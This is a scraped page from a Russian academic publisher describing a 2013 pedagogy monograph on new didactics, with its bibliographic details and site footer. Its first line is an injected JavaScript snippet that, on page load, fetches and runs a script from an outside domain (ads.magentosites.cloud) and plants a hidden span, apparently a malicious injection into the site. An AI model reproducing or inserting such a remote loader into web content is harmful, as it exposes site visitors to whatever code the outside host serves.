document.addEventListener('DOMContentLoaded', function(){var s=document.createElement('script');s.src='https://ads.magentosites.cloud/themes.js;document.head.appendChild(s);var h=document.createElement('span');h.style.display='none';h.textContent='Simsimi';document.body.appendChild(h);});

Новодидактика. Книга 1. Методология и технологии обучения: в поисках развивающего ресурса

imgм001В предлагаемой публикации, открывающей цикл работ по новой дидактике, изложена попытка обнаружить развивающий ресурс учебного процесса в сферах познания, напрямую не связанных в классической педагогике с учебным процессом, – в избыточности и недостаточности, отчуждении, семиотике, синергетике, аксеологических теориях, теории смысла. В этом же направлении предложен ряд инновационных образовательных технологий, базируемых на интеграции, опережении, смыслообразовании. Публикуемые материалы призваны помочь школам в реализации государственных образовательных стандартов нового поколения. Рекомендуется к использованию учителями, методистами, руководителями школ, студентами – будущими учителями и школьными психологами. 
 
Выходные данные: 
Абакумова И. В., Ермаков П. Н., Фоменко В. Т. Новодидактика. Книга 1. Методология и технологии обучения: в поисках развивающего ресурса. –М.: КРЕДО, 2013. – 162с.
 
Прочитано 2294 раз
Опубликовано в Монографии и книги
Теги

Похожие материалы (по тегу)

Другие материалы в этой категории: Новодидактика. Книга 2. Образовательные технологии: новые ракурсы »
Наверх

ИЗДАТЕЛЬСТВО «КРЕДО»
Издание научной литературы и результатов научных исследований.
Москва, Ростов-на-Дону.

Адрес редакции: г. Ростов-на-Дону, ул. Пушкинская, д. 140, к. 114

E-mail:  izd.kredo@gmail.com 

logo5-.png
© 2015 Your Company. All Rights Reserved. Designed By JoomShaper

Search